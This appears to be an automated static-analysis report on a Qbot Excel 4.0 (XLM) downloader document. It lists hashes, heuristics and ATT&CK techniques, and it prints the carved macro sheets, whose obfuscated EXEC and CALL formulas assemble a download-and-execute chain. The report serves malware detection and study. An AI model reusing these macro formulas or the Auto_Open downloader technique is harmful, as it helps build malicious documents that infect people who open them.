Qbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 a4871f0ce83e5658…

MALICIOUS

Office (OOXML)

136.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-05-23
MD5: a8db71d09ea88c48e0652c12286b5051 SHA-1: 3c45753c83af3f98fd31ab083facd5ae276b7d00 SHA-256: a4871f0ce83e5658ea78c9d7e61d6573e5bec008dee5707814b49da3566ebb77
242 Risk Score

Malware Insights

Qbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros that utilize dangerous functions like EXEC and CALL. These macros are designed to download and execute a second-stage payload from the URLs 'the embedded link' and 'the embedded link'. The ClamAV detection and the presence of these macro functions strongly indicate a downloader, consistent with the Qbot family.

Heuristics 5

  • ClamAV: Xls.Downloader.Qbot0421-9856653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Qbot0421-9856653-0
  • Excel 4.0 macro sheet (5 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT, CALL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1104 bytes
SHA-256: c9572e438bfcb24b5f5867be7e8e800b585523f7fc02709bcf337d1e556e35d6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AB42"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="42" spans="28:28" x14ac:dyDescent="0.25"><c r="AB42" s="1" t="e"><f>EXEC(Sheet1!AD59&amp;Sheet1!AD60&amp;Sheet1!AD61&amp;Sheet1!AD62&amp;Sheet1!AD63&amp;Sheet1!AD51&amp;Sheet1!AD55&amp;Sheet1!AD56)=ASIN(111555155)=Sheet4!AO18()=ACOS(151515151651)</f><v>#NUM!</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4182 bytes
SHA-256: 341b6aa872c886159965ac2ef1c12d243e9d2b30a24322e792190b0fc25b7efa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AB13:AH65"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="13" spans="33:33" x14ac:dyDescent="0.25"><c r="AG13" s="1" t="b"><f>Sheet2!AH21()</f><v>0</v></c></row><row r="17" spans="34:34" x14ac:dyDescent="0.25"><c r="AH17" s="1" t="b"><f>HALT()</f><v>1</v></c></row><row r="37" spans="28:32" x14ac:dyDescent="0.25"><c r="AD37" s="1" t="str"><f>"JJCCBB"</f><v>JJCCBB</v></c></row><row r="38" spans="28:32" x14ac:dyDescent="0.25"><c r="AB38" s="1" t="s"><v>0</v></c><c r="AC38" s="1" t="s"><v>0</v></c></row><row r="39" spans="28:32" x14ac:dyDescent="0.25"><c r="AB39" s="1" t="s"><v>1</v></c><c r="AC39" s="1" t="s"><v>1</v></c></row><row r="40" spans="28:32" x14ac:dyDescent="0.25"><c r="AB40" s="1" t="s"><v>2</v></c><c r="AC40" s="1" t="s"><v>3</v></c></row><row r="41" spans="28:32" x14ac:dyDescent="0.25"><c r="AB41" s="1" t="s"><v>4</v></c><c r="AC41" s="1" t="s"><v>4</v></c></row><row r="42" spans="28:32" x14ac:dyDescent="0.25"><c r="AB42" s="1" t="s"><v>5</v></c><c r="AC42" s="1" t="s"><v>6</v></c></row><row r="43" spans="28:32" x14ac:dyDescent="0.25"><c r="AC43" s="1" t="s"><v>5</v></c></row><row r="44" spans="28:32" x14ac:dyDescent="0.25"><c r="AC44" s="1" t="s"><v>7</v></c></row><row r="45" spans="28:32" x14ac:dyDescent="0.25"><c r="AD45" s="1" t="s"><v>20</v></c><c r="AF45" s="1" t="s"><v>24</v></c></row><row r="46" spans="28:32" x14ac:dyDescent="0.25"><c r="AC46" s="1" t="s"><v>8</v></c><c r="AD46" s="1" t="s"><v>21</v></c><c r="AF46" s="1" t="s"><v>25</v></c></row><row r="47" spans="28:32" x14ac:dyDescent="0.25"><c r="AC47" s="1" t="s"><v>9</v></c><c r="AD47" s="1" t="s"><v>22</v></c><c r="AF47" s="1" t="s"><v>26</v></c></row><row r="48" spans="28:32" x14ac:dyDescent="0.25"><c r="AC48" s="1" t="s"><v>10</v></c><c r="AD48" s="1" t="s"><v>23</v></c><c r="AF48" s="1" t="s"><v>27</v></c></row><row r="49" spans="28:32" x14ac:dyDescent="0.25"><c r="AC49" s="1" t="s"><v>4</v></c></row><row r="50" spans="28:32" x14ac:dyDescent="0.25"><c r="AC50" s="1" t="s"><v>11</v></c></row><row r="51" spans="28:32" x14ac:dyDescent="0.25"><c r="AC51" s="1" t="s"><v>12</v></c><c r="AD51" s="1" t="str"><f>"..\sdiniefeni.sdi1"</f><v>..\sdiniefeni.sdi1</v></c><c r="AF51" s="1" t="str"><f>"..\sdiniefeni.sdi2"</f><v>..\sdiniefeni.sdi2</v></c></row><row r="52" spans="28:32" x14ac:dyDescent="0.25"><c r="AC52" s="1" t="s"><v>7</v></c></row><row r="53" spans="28:32" x14ac:dyDescent="0.25"><c r="AC53" s="1" t="s"><v>13</v></c></row><row r="55" spans="28:32" x14ac:dyDescent="0.25"><c r="AD55" s="1" t="s"><v>14</v></c></row><row r="56" spans="28:32" x14ac:dyDescent="0.25"><c r="AD56" s="1" t="s"><v>15</v></c></row><row r="59" spans="28:32" x14ac:dyDescent="0.25"><c r="AD59" s="1" t="s"><v>16</v></c></row><row r="60" spans="28:32" x14ac:dyDescent="0.25"><c r="AD60" s="1" t="s"><v>17</v></c></row><row r="61" spans="28:32" x14ac:dyDescent="0.25"><c r="AD61" s="1" t="s"><v>18</v></c></row><row r="62" spans="28:32" x14ac:dyDescent="0.25"><c r="AD62" s="1" t="s"><v>19</v></c></row><row r="63" spans="28:32" x14ac:dyDescent="0.25"><c r="AB63" s="1"><v>0</v></c><c r="AD63" s="1" t="str"><f>"2 "</f><v xml:space="preserve">2 </v></c></row><row r="64" spans="28:32" x14ac:dyDescent="0.25"><c r="AB64" s="1"><v>0</v></c></row><row r="65" spans="28:28" x14ac:dyDescent="0.25"><c r="AB65" s="1"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" foote
... (truncated)
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1405 bytes
SHA-256: 45a1717bf0471e436f070526d7fcbefcee84427ee7fb6f962981cf945ee53f64
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AH27"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="27" spans="34:34" x14ac:dyDescent="0.25"><c r="AH27" s="1" t="b"><f>CALL("U"&amp;Sheet1!AB38&amp;Sheet1!AB39&amp;Sheet1!AB40&amp;Sheet1!AB41&amp;Sheet1!AB42,"U"&amp;Sheet1!AC38&amp;Sheet1!AC39&amp;Sheet1!AC40&amp;Sheet1!AC41&amp;Sheet1!AC42&amp;Sheet1!AC43&amp;Sheet1!AC44&amp;"o"&amp;Sheet1!AC46&amp;Sheet1!AC47&amp;Sheet1!AC48&amp;Sheet1!AC49&amp;Sheet1!AC50&amp;Sheet1!AC51&amp;Sheet1!AC52&amp;Sheet1!AC53&amp;"A",Sheet1!AD37,Sheet1!AB63,Sheet1!AD45&amp;Sheet1!AD46&amp;Sheet1!AD47&amp;Sheet1!AD48,Sheet1!AD51,Sheet1!AB64,Sheet1!AB65)=Sheet5!AJ17()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet4.xml 1138 bytes
SHA-256: a401e6e5c25bec0ca4ab14ba6044860024840b3cfbdefb1b5bbbf9f8e9776b60
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="24" spans="41:41" x14ac:dyDescent="0.25"><c r="AO24" s="1" t="e"><f>EXEC(Sheet1!AD59&amp;Sheet1!AD60&amp;Sheet1!AD61&amp;Sheet1!AD62&amp;Sheet1!AD63&amp;Sheet1!AF51&amp;Sheet1!AD55&amp;Sheet1!AD56)=ASIN(111555155)=ACOS(151515151651)=948446+6464645=Sheet1!AH15()=694694654+64654654</f><v>#NUM!</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet5.xml 1490 bytes
SHA-256: 9e4c2e5b9e1ac4eaca601866d0be5fbc30ecddb90a1bea5a1647cdfdb83f1299
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ21"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.42578125" style="1"/></cols><sheetData><row r="21" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ21" s="1" t="b"><f>CALL("U"&amp;Sheet1!AB38&amp;Sheet1!AB39&amp;Sheet1!AB40&amp;Sheet1!AB41&amp;Sheet1!AB42,"U"&amp;Sheet1!AC38&amp;Sheet1!AC39&amp;Sheet1!AC40&amp;Sheet1!AC41&amp;Sheet1!AC42&amp;Sheet1!AC43&amp;Sheet1!AC44&amp;"o"&amp;Sheet1!AC46&amp;Sheet1!AC47&amp;Sheet1!AC48&amp;Sheet1!AC49&amp;Sheet1!AC50&amp;Sheet1!AC51&amp;Sheet1!AC52&amp;Sheet1!AC53&amp;"A",Sheet1!AD37,Sheet1!AB63,Sheet1!AF45&amp;Sheet1!AF46&amp;Sheet1!AF47&amp;Sheet1!AF48,Sheet1!AF51,Sheet1!AB64,Sheet1!AB65)=Sheet3!AB37()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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